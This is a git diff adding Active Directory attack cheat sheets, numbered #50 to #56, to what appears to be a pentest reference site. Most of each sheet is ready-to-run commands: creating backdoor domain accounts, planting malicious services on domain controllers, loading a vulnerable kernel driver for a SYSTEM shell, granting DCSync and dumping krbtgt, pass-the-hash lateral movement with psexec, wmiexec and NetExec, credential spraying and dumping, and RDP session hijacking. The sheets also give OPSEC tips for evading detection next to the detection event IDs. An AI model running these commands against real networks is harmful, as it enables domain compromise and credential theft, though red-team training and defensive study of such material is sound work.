Attacks + +- **Attack #4 — Pass-the-Hash (PtH):** Uses NTLM directly; PtT is the Kerberos equivalent and often preferred +- **Attack #6 — Overpass-the-Hash (OPtH):** Converts NT hash to TGT; output is then used with PtT techniques +- **Attack #11 — Golden Ticket:** If you obtain KRBTGT hash via DCSync, forge unlimited TGTs instead of stealing individual ones +- **Attack #12 — Silver Ticket:** Similar to PtT but forges service-specific tickets without KDC interaction +- **Attack #16 — Constrained Delegation (S4U2Self/S4U2Proxy):** Uses TGTs to request tickets on behalf of other users + +### PtH vs PtT — Know When to Use Which + +| Scenario | Use PtH | Use PtT | +|---|---|---| +| NTLM enabled, Kerberos optional | ✅ | ✅ | +| NTLM disabled / Kerberos-only | ❌ | ✅ | +| MFA enabled on target account | ✅ (bypasses MFA) | ✅ (bypasses MFA) | +| Only have NT hash, no session | ✅ | ❌ (need existing ticket) | +| Victim currently logged in nearby | ✅ | ✅ (harvest their TGT) | +| Need to access specific Kerberos service | ❌ | ✅ | +| Cross-domain / forest access | ❌ | ✅ (inter-realm TGTs) | + +*** + +> ✅ **Attack #5 — Pass-the-Ticket complete.** Tell me to move on when you're ready for **Attack #6 — Overpass-the-Hash (Pass-the-Key)**. + +Sources + Pass-the-Ticket (PtT) Attacks Explained: Detection, Impact & Mitigation https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/pass-the-ticket-attack/ + What is a Pass-the-Ticket Attack? Detection & Prevention - Cymulate https://cymulate.com/cybersecurity-glossary/pass-the-ticket-attack/ + Pass the Ticket Attack Explained - MITRE ATT&CK T1550.003 https://www.picussecurity.com/resource/blog/t1550.003-pass-the-ticket-adversary-use-of-alternate-authentication + How to Defend Against a Pass the Ticket Attack: AD Security 101 https://www.semperis.com/blog/how-to-defend-against-pass-the-ticket-attack/ + Active Directory Attacks: Pass-the-Hash, Pass-the-Ticket & Qualys ... https://blog.qualys.com/product-tech/2026/02/11/qualys-etm-detect-pass-the-hash-pass-the-ticket-attacks + Pass-the-Ticket Attacks | BeyondTrust https://www.beyondtrust.com/resources/glossary/what-are-pass-the-ticket-attacks + Pass-the-Ticket (PtT) Attacks Explained: Detection, Impact ... https://netwrix.com/ko/cybersecurity-glossary/cyber-security-attacks/pass-the-ticket-attack/ + What are Pass-the-Hash (PtH) & Pass-the-Ticket (PtT)? https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-are-pass-the-hash-pth-pass-the-ticket-ptt/ + Use Alternate Authentication Material: Pass the Ticket https://attack.mitre.org/techniques/T1550/003/ + What Is Pass the Ticket? How It Works & Examples - Twingate https://www.twingate.com/blog/glossary/pass%20the%20ticket diff --git a/src/content/sheets/active-directory/attack-50-abusing-account-operators-group.md b/src/content/sheets/active-directory/attack-50-abusing-account-operators-group.md @@ -0,0 +1,76 @@ +--- +title: "Attack #50 — Abusing Account Operators Group" +description: "net user backdoor P@ssword123! /add /domain" +category: active-directory +tags: ["active-directory", "kerberos", "sql-injection", "pivoting"] +tools: ["Rubeus", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #50 — Abusing Account Operators Group.md" +--- +# 🟣 Attack #50 — Abusing Account Operators Group + +*** + +## 📖 How It Works + +**Account Operators** can create, modify, and delete most user and group accounts in the domain (excluding protected admin accounts). They can also log on to Domain Controllers locally. An Account Operator can create a new user and add it to non-protected groups, modify existing service accounts, or reset passwords on non-admin users to pivot deeper. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Membership in Account Operators** | Can manage most domain accounts | + +*** + +## 💻 Full Commands + +```powershell +# ── Create new user ─────────────────────────────────────────────────────────── +net user backdoor P@ssword123! /add /domain + +# ── Add to groups (non-protected) ───────────────────────────────────────────── +net group "SQL Admins" backdoor /add /domain +net group "Remote Desktop Users" backdoor /add /domain +# ⚠️ Cannot add to DA/EA/Schema Admins (protected by AdminSDHolder) + +# ── Reset non-admin user passwords ──────────────────────────────────────────── +net user svc_backup NewP@ss123! /domain + +# ── Modify service accounts (set SPN for Kerberoasting) ────────────────────── +Set-DomainObject -Identity svc_target -Set @{serviceprincipalname='fake/kerbroast'} +.\Rubeus.exe kerberoast /user:svc_target + +# ── Create computer account (bypass MAQ) ────────────────────────────────────── +New-ADComputer -Name "FAKE01" -SamAccountName "FAKE01$" -Enabled $true +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4720** | Security Log (DC) | User account created | +| **4728/4732** | Security Log (DC) | User added to group | +| **4724** | Security Log (DC) | Password reset | + +*** + +## 🔗 Attack Chain Context + +``` +[Account Operators] ──→ Create/modify accounts → pivot deeper + │ + ├──→ 🔑 Reset service account passwords → access databases/services + ├──→ 🎫 Set SPNs → targeted Kerberoasting (#2) + ├──→ 💻 Create computer accounts → RBCD (#17) + └──→ 💀 Defeated by: minimize Account Operators membership +``` + +*** + +> ✅ **Attack #50 — Account Operators complete.** diff --git a/src/content/sheets/active-directory/attack-51-abusing-server-operators-group.md b/src/content/sheets/active-directory/attack-51-abusing-server-operators-group.md @@ -0,0 +1,71 @@ +--- +title: "Attack #51 — Abusing Server Operators Group" +description: "sc.exe \\\\DC01 create evilsvc binPath= \"cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add\" start= auto sc.exe \\\\DC01…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #51 — Abusing Server Operators Group.md" +--- +# 🟣 Attack #51 — Abusing Server Operators Group + +*** + +## 📖 How It Works + +**Server Operators** can log on to Domain Controllers, start/stop services, manage shared resources, and backup/restore files. The critical escalation path: Server Operators can **modify and create Windows services** — allowing them to create a malicious service that runs as SYSTEM, achieving SYSTEM-level access on a DC. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Membership in Server Operators** | Can manage services on DCs | + +*** + +## 💻 Full Commands + +```powershell +# ── Create a malicious service ──────────────────────────────────────────────── +sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto +sc.exe \\DC01 start evilsvc + +# ── Or modify an existing service ───────────────────────────────────────────── +# Find a stoppable service: +sc.exe \\DC01 query type=own | findstr SERVICE_NAME +sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators low_user /add" +sc.exe \\DC01 stop VSS +sc.exe \\DC01 start VSS + +# ── Cleanup ─────────────────────────────────────────────────────────────────── +sc.exe \\DC01 delete evilsvc +# Or restore the original binPath +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **7045** | System Log (DC) | New service installed with suspicious binPath | +| **4697** | Security Log (DC) | Service installation | +| **4688** | Security Log (DC) | Process creation from service | + +*** + +## 🔗 Attack Chain Context + +``` +[Server Operators] ──→ Service manipulation → SYSTEM on DC + │ + ├──→ 🔗 Create/modify service → run as SYSTEM → DCSync + └──→ 💀 Defeated by: empty Server Operators group, monitor 7045 +``` + +*** + +> ✅ **Attack #51 — Server Operators complete.** diff --git a/src/content/sheets/active-directory/attack-52-abusing-print-operators-group.md b/src/content/sheets/active-directory/attack-52-abusing-print-operators-group.md @@ -0,0 +1,69 @@ +--- +title: "Attack #52 — Abusing Print Operators Group" +description: "whoami /priv" +category: active-directory +tags: ["active-directory", "privilege-escalation"] +tools: ["PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #52 — Abusing Print Operators Group.md" +--- +# 🟣 Attack #52 — Abusing Print Operators Group + +*** + +## 📖 How It Works + +**Print Operators** can log on to Domain Controllers and manage printers. More importantly, they have the `SeLoadDriverPrivilege` — the ability to **load kernel drivers** into the operating system. This can be abused to load a malicious driver that grants SYSTEM access or disables security controls. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Membership in Print Operators** | Provides SeLoadDriverPrivilege on DCs | + +*** + +## 💻 Full Commands + +```powershell +# ── Verify privilege ────────────────────────────────────────────────────────── +whoami /priv +# SeLoadDriverPrivilege Load and unload device drivers Enabled + +# ── EoPLoadDriver exploit (load Capcom.sys for kernel execution) ────────────── +.\EoPLoadDriver.exe System\CurrentControlSet\MyDriver .\Capcom.sys +.\ExploitCapcom.exe +# Spawns SYSTEM shell + +# ── Alternative: load vulnerable driver for BYOVD attack ───────────────────── +# Bring Your Own Vulnerable Driver — load a signed but vulnerable driver +# Then exploit it for kernel-level code execution +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4672** | Security Log | SeLoadDriverPrivilege assigned | +| **7045** | System Log | Driver loaded | +| **Sysmon 6** | Sysmon | Driver loaded — filter for non-standard drivers | + +*** + +## 🔗 Attack Chain Context + +``` +[Print Operators] ──→ SeLoadDriverPrivilege → load kernel driver → SYSTEM + │ + ├──→ 🔗 Kernel driver → disable EDR/AV → undetected persistence + └──→ 💀 Defeated by: empty Print Operators group, driver signing enforcement +``` + +*** + +> ✅ **Attack #52 — Print Operators complete.** diff --git a/src/content/sheets/active-directory/attack-53-exchange-windows-permissions-writedacl-to-dcsync.md b/src/content/sheets/active-directory/attack-53-exchange-windows-permissions-writedacl-to-dcsync.md @@ -0,0 +1,83 @@ +--- +title: "Attack #53 — Exchange Windows Permissions (WriteDACL to DCSync)" +description: "In many environments, the Exchange Windows Permissions security group has WriteDACL on the domain root object. This is a well-known legacy…" +category: active-directory +tags: ["active-directory", "credential-access"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #53 — Exchange Windows Permissions (WriteDACL to DCSync).md" +--- +# 🟣 Attack #53 — Exchange Windows Permissions (WriteDACL → DCSync) + +*** + +## 📖 How It Works + +In many environments, the **Exchange Windows Permissions** security group has **WriteDACL** on the domain root object. This is a well-known legacy misconfiguration from Exchange Server installation. Any member of this group (or anyone who compromises a member) can grant themselves DCSync rights and extract every credential in the domain. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Membership in Exchange Windows Permissions** | Or compromise of a member | +| **WriteDACL on domain root** | Default after Exchange installation | + +*** + +## 💻 Full Commands + +```powershell +# ── Check if Exchange Windows Permissions has WriteDACL on domain ───────────── +Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object { + $_.IdentityReference -match "Exchange Windows Permissions" +} | Select-Object ActiveDirectoryRights + +# ── Grant DCSync rights ────────────────────────────────────────────────────── +Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ + -PrincipalIdentity compromised_exchange_user -Rights DCSync + +# ── DCSync ──────────────────────────────────────────────────────────────────── +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit +``` + +```bash +# ── Linux ───────────────────────────────────────────────────────────────────── +dacledit.py -action write -rights DCSync \ + -principal compromised_user -target-dn "DC=corp,DC=local" \ + corp.local/compromised_user:'Password1' -dc-ip 10.10.10.10 + +secretsdump.py corp.local/compromised_user:'Password1'@DC01.corp.local \ + -just-dc-user krbtgt +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5136** | Security Log (DC) | DACL modification on domain root object | +| **4662** | Security Log (DC) | Replication rights used | + +*** + +## 🔗 Attack Chain Context + +``` +[Exchange Permissions] ──→ WriteDACL on domain root → DCSync + │ + ├──→ 🔗 Compromise Exchange admin → WriteDACL → DCSync → Golden Ticket + ├──→ 📋 Legacy misconfiguration from Exchange Server setup + └──→ 💀 Defeated by: remove WriteDACL from Exchange groups, audit domain ACLs +``` + +*** + +> ✅ **Attack #53 — Exchange Windows Permissions complete.** + +*** + +> 🏁 **Category 6 — Privilege Escalation is now COMPLETE (9/9 attacks).** diff --git a/src/content/sheets/active-directory/attack-54-psexec-remote-execution-via-smb.md b/src/content/sheets/active-directory/attack-54-psexec-remote-execution-via-smb.md @@ -0,0 +1,320 @@ +--- +title: "Attack #54 — PsExec Remote Execution via SMB" +description: "PsExec is the most iconic lateral movement technique in Active Directory environments. It enables an attacker with valid administrator credentials to…" +category: active-directory +tags: ["active-directory", "kerberos", "privilege-escalation", "lateral-movement", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Evil-WinRM", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #54 — PsExec Remote Execution via SMB.md" +--- +# ⚫ Attack #54 — PsExec / Remote Execution via SMB + +*** + +## 📖 How It Works + +PsExec is the **most iconic lateral movement technique in Active Directory environments**. It enables an attacker with valid administrator credentials to execute commands on remote Windows systems over the Server Message Block (SMB) protocol. The technique works by creating a temporary Windows service on the target machine, which executes the specified command under the SYSTEM context, then cleans up after itself. + +The original Sysinternals PsExec is a legitimate Microsoft tool used by system administrators for remote management, which makes it inherently difficult to distinguish from normal administrative activity. However, Impacket's `psexec.py`, `smbexec.py`, and `wmiexec.py` provide even more flexible alternatives from Linux, each with different execution mechanics and detection characteristics. + +### How PsExec Works Under the Hood + +``` +1. Authenticate to the target via SMB (port 445) using credentials, hash, or ticket +2. Connect to the ADMIN$ or C$ share (requires local admin privileges) +3. Upload a service binary to \\TARGET\ADMIN$\ (Sysinternals) or create inline service (Impacket) +4. Create and start a Windows service via the Service Control Manager (SCM) +5. The service executes the command as NT AUTHORITY\SYSTEM +6. Output is redirected back via a named pipe +7. Service is stopped and deleted (cleanup) +``` + +### Execution Method Comparison + +| Tool | Upload Binary? | Service Created? | Execution Context | Stealth Level | Protocol | +|---|---|---|---|---|---| +| **Sysinternals PsExec** | Yes (PSEXESVC.exe) | Yes (PSEXESVC) | SYSTEM | Low — drops binary to disk | SMB | +| **Impacket psexec.py** | Yes (random .exe) | Yes (random name) | SYSTEM | Low — drops binary | SMB | +| **Impacket smbexec.py** | No | Yes (per-command) | SYSTEM | Medium — no binary on disk | SMB | +| **Impacket wmiexec.py** | No | No | User context | High — no service, no binary | WMI/DCOM | +| **Impacket atexec.py** | No | No (scheduled task) | SYSTEM | Medium — uses task scheduler | SMB | +| **Impacket dcomexec.py** | No | No | User context | High — uses DCOM objects | DCOM | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin credentials on target** | Valid username + password, NT hash (PtH), or Kerberos ticket | +| **SMB access (port 445)** | Must be able to reach the target's SMB service | +| **ADMIN$ or C$ share accessible** | Requires administrative shares to be enabled (default on) | +| **No network segmentation blocking SMB** | Firewall must allow TCP 445 between source and target | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Sysinternals PsExec** | Windows | Original Microsoft tool — `PsExec.exe` | +| **Impacket — psexec.py** | Linux | Python implementation — drops binary to ADMIN$ | +| **Impacket — smbexec.py** | Linux | Fileless — creates service cmd per command | +| **Impacket — wmiexec.py** | Linux | Most stealthy — uses WMI, no service creation | +| **Impacket — atexec.py** | Linux | Uses Task Scheduler for execution | +| **Impacket — dcomexec.py** | Linux | Uses DCOM objects for execution | +| **CrackMapExec / NetExec** | Linux | Mass execution — spray commands across networks | +| **Evil-WinRM** | Linux | WinRM-based shell (port 5985/5986) | + +*** + +## 💻 Full Commands + +### 🔴 Sysinternals PsExec (Windows → Windows) + +```powershell +# ── Interactive SYSTEM shell on remote host ─────────────────────────────────── +PsExec.exe \\TARGET cmd.exe +# Prompts for credentials if not running as DA + +# ── With explicit credentials ───────────────────────────────────────────────── +PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' cmd.exe + +# ── Run as SYSTEM on remote host ────────────────────────────────────────────── +PsExec.exe -s \\TARGET cmd.exe +# -s = run as SYSTEM (default for remote execution) + +# ── Execute a specific command (non-interactive) ────────────────────────────── +PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' ipconfig /all + +# ── Execute on multiple targets ─────────────────────────────────────────────── +PsExec.exe \\TARGET1,TARGET2,TARGET3 -u CORP\Administrator -p 'Password1' whoami + +# ── Execute on all computers in a file ──────────────────────────────────────── +PsExec.exe @computers.txt -u CORP\Administrator -p 'Password1' hostname + +# ── Copy a binary to remote host and execute ────────────────────────────────── +PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' -c mimikatz.exe +# -c = copy the specified program to ADMIN$ then execute it + +# ── Run with alternate credentials (pass current token) ────────────────────── +# If you have a Kerberos ticket injected via PtT / Golden Ticket: +PsExec.exe \\DC01.corp.local cmd.exe +# Uses the current session's Kerberos tickets automatically +``` + +*** + +### 🔴 Impacket — psexec.py (Linux → Windows) + +```bash +# ── Interactive SYSTEM shell with password ──────────────────────────────────── +psexec.py corp.local/Administrator:'Password1'@10.10.10.10 + +# ── With domain prefix ──────────────────────────────────────────────────────── +psexec.py 'corp.local/Administrator:Password1@10.10.10.10' + +# ── Pass-the-Hash (no password needed) ──────────────────────────────────────── +psexec.py corp.local/Administrator@10.10.10.10 \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe + +# ── Kerberos authentication (with cached ticket) ───────────────────────────── +export KRB5CCNAME=administrator.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── Execute specific command ────────────────────────────────────────────────── +psexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami /all" + +# ── Use local admin account (no domain) ─────────────────────────────────────── +psexec.py ./Administrator:'Password1'@10.10.10.10 +``` + +*** + +### 🔴 Impacket — smbexec.py (Fileless — No Binary Drop) + +```bash +# ── Fileless shell via service creation ─────────────────────────────────────── +smbexec.py corp.local/Administrator:'Password1'@10.10.10.10 + +# ── With PtH ────────────────────────────────────────────────────────────────── +smbexec.py corp.local/Administrator@10.10.10.10 \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe + +# ── Kerberos ────────────────────────────────────────────────────────────────── +export KRB5CCNAME=administrator.ccache +smbexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# How smbexec works differently from psexec: +# - Does NOT upload a binary to the target +# - Creates a service per command that runs: %COMSPEC% /Q /c <command> 1> output 2>&1 +# - Output is written to a file on ADMIN$ share, then read back +# - Service is deleted after each command +# - Stealthier than psexec (no file on disk) but creates more Event 7045 entries +``` + +*** + +### 🔴 Impacket — wmiexec.py (Most Stealthy — No Service) + +```bash +# ── Stealthy shell via WMI ──────────────────────────────────────────────────── +wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 + +# ── With PtH ────────────────────────────────────────────────────────────────── +wmiexec.py corp.local/Administrator@10.10.10.10 \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe + +# ── Kerberos ────────────────────────────────────────────────────────────────── +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── Execute single command ──────────────────────────────────────────────────── +wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami /all" + +# How wmiexec works: +# - Uses WMI (DCOM port 135 + dynamic RPC) instead of SMB services +# - Spawns cmd.exe via Win32_Process.Create() +# - Does NOT create a service (no Event 7045) +# - Does NOT upload any binary +# - Output redirected to \\127.0.0.1\ADMIN$\__<random> +# - Runs as the authenticated user (not SYSTEM by default) +# - Most stealthy of all Impacket exec tools +``` + +*** + +### 🔴 Impacket — atexec.py (Task Scheduler) + +```bash +# ── Execute via scheduled task ──────────────────────────────────────────────── +atexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami" + +# ── With PtH ────────────────────────────────────────────────────────────────── +atexec.py corp.local/Administrator@10.10.10.10 \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe "ipconfig /all" + +# How atexec works: +# - Creates a scheduled task on the remote host +# - Task executes the command and writes output to a temp file +# - Output is read back via SMB +# - Task is deleted after execution +# - Uses the Task Scheduler service instead of SCM +``` + +*** + +### 🔴 CrackMapExec / NetExec — Mass Execution + +```bash +# ── Single target — execute command ─────────────────────────────────────────── +nxc smb 10.10.10.10 -u Administrator -p 'Password1' -x "whoami" +nxc smb 10.10.10.10 -u Administrator -p 'Password1' -X "Get-Process" # PowerShell + +# ── PtH ─────────────────────────────────────────────────────────────────────── +nxc smb 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -x "whoami" + +# ── Kerberos ────────────────────────────────────────────────────────────────── +nxc smb DC01.corp.local --use-kcache -x "whoami" + +# ── Spray across subnet — find where credentials work ──────────────────────── +nxc smb 10.10.10.0/24 -u Administrator -p 'Password1' +# Look for (Pwn3d!) in output = admin access confirmed + +# ── Mass command execution across all accessible hosts ──────────────────────── +nxc smb 10.10.10.0/24 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe \ + -x "whoami" --exec-method smbexec + +# ── Execution methods ──────────────────────────────────────────────────────── +# --exec-method smbexec → Fileless service execution +# --exec-method wmiexec → WMI-based execution +# --exec-method atexec → Scheduled task execution +# --exec-method mmcexec → MMC-based execution + +# ── Dump SAM via CME ────────────────────────────────────────────────────────── +nxc smb 10.10.10.10 -u Administrator -p 'Password1' --sam + +# ── Dump LSA secrets ────────────────────────────────────────────────────────── +nxc smb 10.10.10.10 -u Administrator -p 'Password1' --lsa + +# ── Dump LAPS passwords ────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u Administrator -p 'Password1' --laps +``` + +*** + +### 🔴 Evil-WinRM (WinRM-Based Shell) + +```bash +# ── Interactive PowerShell shell via WinRM ──────────────────────────────────── +evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' + +# ── PtH ─────────────────────────────────────────────────────────────────────── +evil-winrm -i 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe + +# ── Kerberos ────────────────────────────────────────────────────────────────── +evil-winrm -i DC01.corp.local -r corp.local + +# ── Upload/download files ──────────────────────────────────────────────────── +# Inside evil-winrm session: +upload /local/path/mimikatz.exe C:\Temp\mimikatz.exe +download C:\Users\Administrator\Desktop\flag.txt /local/path/flag.txt + +# ── Load PowerShell scripts ────────────────────────────────────────────────── +evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' -s /path/to/scripts/ +# Inside session: menu → loads scripts from the specified directory + +# Note: WinRM uses port 5985 (HTTP) or 5986 (HTTPS), not SMB port 445 +``` + +*** + +## 🎯 OPSEC Tips + +- **wmiexec.py is the stealthiest** — no binary uploaded, no Windows service created, no Event 7045; only creates `cmd.exe` via WMI +- **smbexec.py is a good middle ground** — no binary on disk, but does create temporary services (generates Event 7045 per command) +- **psexec.py is the loudest** — uploads a binary to ADMIN$, creates a persistent service with a recognizable random name +- **Sysinternals PsExec leaves `PSEXESVC.exe`** on the target — this is a well-known IOC; use `PsExec -r <custom_name>` to change the service name +- **Use Kerberos authentication** over NTLM when possible — NTLM generates more detectable network traffic +- **Avoid spraying commands** across the entire subnet unless time-constrained — mass execution via CME/NXE generates correlated authentication events +- **Clean up after execution** — delete uploaded binaries, check for leftover services (`sc query type=own`), remove temp files + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **7045** | System Log | New service installed — random name, binary in `C:\Windows` or ADMIN$ (PsExec, smbexec) | +| **4697** | Security Log | Service installation — same as 7045 but in Security log | +| **4624** | Security Log | Logon Type 3 (Network) — admin account authenticating from unexpected source | +| **4672** | Security Log | Special privileges assigned to network logon | +| **5145** | Security Log | Network share accessed — `ADMIN$`, `C$`, `IPC$` access from workstations | +| **4688** | Security Log | Process creation — `cmd.exe` spawned by service or `wmiprvse.exe` | +| **Sysmon 1** | Sysmon | Process creation with command line — catch the actual commands executed | +| **Sysmon 11** | Sysmon | File creation — PsExec binary written to ADMIN$ share | + +**Primary detection signature:** **Event 7045** with a service binary path pointing to `C:\Windows\` or `%SystemRoot%\` with a random-looking name is the classic PsExec/smbexec indicator. For wmiexec, monitor for `wmiprvse.exe` spawning `cmd.exe` via **Event 4688** with Command Line Auditing enabled. Correlate all of these with **Event 4624 Type 3** from unexpected source IPs to identify lateral movement campaigns. + +*** + +## 🔗 Attack Chain Context + +``` +[PsExec / SMB Execution] ──→ Lateral Movement Across the Domain + │ + ├──→ 🔑 Requires: valid admin creds (local or domain) or PtH/PtT + ├──→ 💻 Execute as SYSTEM on any remote host with admin access + ├──→ 🩸 Post-access: dump LSASS → extract more creds → pivot further + ├──→ 📋 Chain: Password Spray (#1) → PtH (#4) → PsExec → more creds + ├──→ 🌐 Mass execution: spray across subnet to identify admin access + ├──→ 🔗 Commonly follows: credential attacks, kerberos abuse, token impersonation + └──→ 💀 Defeated by: disable ADMIN$, network segmentation, LAPS, EDR +``` + +**PsExec-style lateral movement is the backbone of AD engagements.** After obtaining any form of admin credentials (PtH, cracked passwords, Kerberoast, etc.), the first action is always to spray those credentials and execute on as many machines as possible — extracting more credentials from each compromised host in a snowball effect until Domain Admin is achieved. + +*** + +> ✅ **Attack #54 — PsExec / Remote Execution via SMB complete.** diff --git a/src/content/sheets/active-directory/attack-55-winrm-evil-winrm-lateral-movement.md b/src/content/sheets/active-directory/attack-55-winrm-evil-winrm-lateral-movement.md @@ -0,0 +1,65 @@ +--- +title: "Attack #55 — WinRM Evil-WinRM Lateral Movement" +description: "Windows Remote Management (WinRM) is a SOAP-based protocol for remote management over HTTP/HTTPS (ports 5985/5986). Evil-WinRM provides an interactive…" +category: active-directory +tags: ["active-directory", "lateral-movement"] +tools: ["Mimikatz", "Evil-WinRM", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #55 — WinRM Evil-WinRM Lateral Movement.md" +--- +# ⚫ Attack #55 — WinRM / Evil-WinRM Lateral Movement + +*** + +## 📖 How It Works + +Windows Remote Management (WinRM) is a SOAP-based protocol for remote management over HTTP/HTTPS (ports 5985/5986). Evil-WinRM provides an interactive PowerShell shell over WinRM with built-in file upload/download, DLL loading, and PowerShell script execution capabilities. Users must be in the **Remote Management Users** group or have admin rights. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **WinRM enabled on target** | Port 5985 (HTTP) or 5986 (HTTPS) | +| **Admin or Remote Management Users** | Required for WinRM access | + +*** + +## 💻 Full Commands + +```bash +# ── Evil-WinRM with password ────────────────────────────────────────────────── +evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' + +# ── PtH ─────────────────────────────────────────────────────────────────────── +evil-winrm -i 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe + +# ── With scripts directory ──────────────────────────────────────────────────── +evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' -s /opt/tools/ + +# ── Upload/Download inside session ──────────────────────────────────────────── +# upload /local/mimikatz.exe C:\Temp\mimikatz.exe +# download C:\Temp\secrets.txt /local/secrets.txt +``` + +```powershell +# ── Native PowerShell remoting ──────────────────────────────────────────────── +Enter-PSSession -ComputerName TARGET -Credential CORP\Administrator +Invoke-Command -ComputerName TARGET -ScriptBlock { whoami } -Credential CORP\Administrator +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Logon Type 3 via WinRM from unexpected source | +| **91** | Microsoft-Windows-WinRM/Operational | WinRM session created | +| **4688** | Security Log | wsmprovhost.exe spawning cmd/powershell | + +*** + +> ✅ **Attack #55 — WinRM complete.** diff --git a/src/content/sheets/active-directory/attack-56-rdp-lateral-movement-and-hijacking.md b/src/content/sheets/active-directory/attack-56-rdp-lateral-movement-and-hijacking.md @@ -0,0 +1,76 @@ +--- +title: "Attack #56 — RDP Lateral Movement and Hijacking" +description: "RDP (Remote Desktop Protocol, port 3389) provides full GUI access to remote systems. Beyond standard RDP with credentials, attackers can hijack existing…" +category: active-directory +tags: ["active-directory", "lateral-movement", "hashing"] +tools: ["NetExec", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #56 — RDP Lateral Movement and Hijacking.md" +--- +# ⚫ Attack #56 — RDP Lateral Movement & Hijacking + +*** + +## 📖 How It Works + +RDP (Remote Desktop Protocol, port 3389) provides full GUI access to remote systems. Beyond standard RDP with credentials, attackers can **hijack existing disconnected sessions** (session stealing) from a SYSTEM context without knowing the user's password — using `tscon.exe` to switch to another user's session. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Valid credentials or PtH** | For standard RDP | +| **SYSTEM access on target** | For session hijacking | +| **RDP enabled** | Port 3389 open | + +*** + +## 💻 Full Commands + +### 🔴 Standard RDP + +```bash +# ── From Linux ──────────────────────────────────────────────────────────────── +xfreerdp /u:Administrator /p:'Password1' /v:10.10.10.10 /cert-ignore /dynamic-resolution + +# ── PtH with RDP (Restricted Admin mode required) ──────────────────────────── +xfreerdp /u:Administrator /pth:2b576acbe6bcfda7294d6bd18041b8fe /v:10.10.10.10 + +# ── Enable Restricted Admin (for PtH to work) ──────────────────────────────── +nxc smb 10.10.10.10 -u Administrator -H <hash> -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f' +``` + +### 🔴 RDP Session Hijacking + +```powershell +# ── As SYSTEM, list active sessions ─────────────────────────────────────────── +query user +# USERNAME SESSIONNAME ID STATE +# admin_user rdp-tcp#1 2 Disconnected ← target this + +# ── Hijack disconnected session (as SYSTEM, no password needed) ─────────────── +# Create service to run tscon as SYSTEM: +sc create sesshijack binPath= "cmd.exe /c tscon 2 /dest:console" +net start sesshijack +# Or directly as SYSTEM: +tscon 2 /dest:console +# You are now in admin_user's RDP session +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | 